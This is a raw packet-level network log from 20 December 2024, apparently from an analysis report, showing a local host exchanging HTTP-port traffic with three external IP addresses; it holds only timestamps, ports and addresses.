Dec 20, 2024 02:11:41.413503885 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.414340019 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.414400101 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.414741993 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.414804935 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.415604115 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.415662050 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.416801929 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.416812897 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.416822910 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.416865110 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.416897058 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.417923927 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.417984009 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.418322086 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.418385983 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.419083118 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.419137955 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.420237064 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.420248032 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.420301914 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.420310020 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.420376062 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.421402931 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.421462059 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.422235012 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.422293901 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.422596931 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.422611952 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.422657967 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.423763037 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.423823118 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.424040079 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.424340963 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.424447060 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.424458027 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.424520969 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:41.424567938 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.424577951 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.424587965 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.424655914 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:41.424819946 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.424877882 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:41.424906969 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.424916983 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.424926996 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.424937963 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.424958944 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:41.424990892 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:41.425328016 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.425338984 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.425389051 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.426142931 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.426212072 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.426911116 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.426970005 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.427239895 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.427251101 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.427292109 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.427340031 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.428469896 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.428529978 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.428880930 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.428930044 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.429560900 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.429625034 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.429950953 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.430092096 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.430669069 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.430744886 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.430891037 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.430951118 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.431860924 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.431965113 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.433072090 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.433083057 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.433129072 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.433135033 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.433182955 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.434130907 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.434190035 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.493029118 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:41.493110895 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:41.494179964 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:41.544126034 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.544178009 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.544315100 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:41.564909935 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.564975977 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.565018892 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.565097094 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.565480947 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.565541029 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.565634012 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.565697908 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.565840006 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.565901041 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.566829920 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.566891909 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.567676067 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.567737103 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.567996025 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.568010092 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.568069935 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.568069935 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.569159985 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.569221020 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.569449902 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.569502115 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.570311069 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.570406914 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.570839882 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.570885897 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.571477890 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.571533918 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.571861029 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.571933031 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.572680950 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.572732925 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.573613882 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.573780060 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.573827028 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.573841095 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.573884010 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.574999094 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.575046062 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.575189114 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.575350046 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.576196909 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.576256037 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.576354980 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.576415062 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.577301979 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.577362061 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.578056097 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.578119040 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.578609943 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.578669071 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.578767061 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.578823090 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.579654932 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.579668045 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.579715967 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.580802917 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.580861092 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.580939054 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.581080914 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.581984997 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.582031965 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.582123995 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.582299948 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.583225965 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.583285093 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.583461046 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.583533049 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.584321022 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.584544897 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.584849119 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.584901094 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.585516930 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.585572004 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.585743904 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.585789919 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.586664915 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.586714983 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.586833954 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.586977959 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.587841988 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.587855101 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.587918043 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.589143991 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.589195967 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.589204073 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.589267015 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.590188980 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.590238094 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.590460062 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.590513945 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.591366053 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.591420889 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.591475964 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.591526031 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.592551947 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.592609882 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.592681885 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.592731953 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.593708038 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.593771935 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.593841076 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.593899965 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.594858885 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.594917059 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.595400095 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.595448971 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.596015930 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.596076965 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.596309900 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.596364975 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.597228050 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.597284079 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.597373009 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.597503901 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.598347902 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.598406076 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.599549055 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.599560976 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.599613905 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.599627972 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.599674940 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.600672960 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.600729942 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.600872040 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.601300955 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.601846933 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.601912975 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.602155924 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.602210045 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.603024006 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.603113890 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.603118896 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.603156090 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.604199886 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.604274035 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.604388952 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.604444981 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.605375051 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.605431080 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.606184006 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.606250048 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.606553078 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.606564045 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.606611013 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.607687950 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.607769966 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.607886076 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.607952118 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.608895063 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.608944893 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.609641075 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.609684944 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.610048056 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.610172033 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.610217094 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.611196995 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.611246109 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.611932993 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.611979008 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.612375021 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.612430096 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.612598896 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.612648010 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.613526106 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.613580942 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.613625050 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.613735914 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.613857985 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:41.613867044 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:41.613939047 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:41.613965034 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:41.613975048 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:41.614017010 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:41.614073038 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:41.614082098 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:41.614089966 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:41.614110947 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:41.614134073 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:41.614175081 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:41.614183903 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:41.614192009 CET	80	49929	147.45.113.159	192.168.2.5
Dec 20, 2024 02:11:41.614218950 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:41.614238977 CET	49929	80	192.168.2.5	147.45.113.159
Dec 20, 2024 02:11:41.614728928 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.614782095 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.614872932 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.614979029 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.615858078 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.615910053 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.616103888 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.616151094 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.617038965 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.617079020 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.617176056 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.617213011 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.618204117 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.618246078 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.618391037 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.618432045 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.618784904 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.618899107 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.618966103 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:41.619364977 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.619430065 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.619743109 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.619788885 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.620536089 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.620582104 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.621279001 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.621347904 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.621731997 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.621742010 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.621777058 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.622908115 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.622936964 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.622947931 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.622951031 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.622975111 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.623131037 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.623246908 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:41.624037027 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.624247074 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.624744892 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.624788046 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.625212908 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.625225067 CET	80	49917	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:41.625255108 CET	49917	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:41.631413937 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.631897926 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.632002115 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:41.639731884 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.640053034 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.640111923 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:41.648277998 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.648386955 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.648438931 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:41.656513929 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.656698942 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.656750917 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:41.664916992 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.665327072 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.669897079 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:41.673306942 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.673928976 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.677881002 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:41.681636095 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.682007074 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.685889006 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:41.689977884 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.690310001 CET	80	49923	185.215.113.16	192.168.2.5
Dec 20, 2024 02:11:41.690366983 CET	49923	80	192.168.2.5	185.215.113.16
Dec 20, 2024 02:11:41.698360920 CET	80	49923	185.215.113.16	192.168.2.5
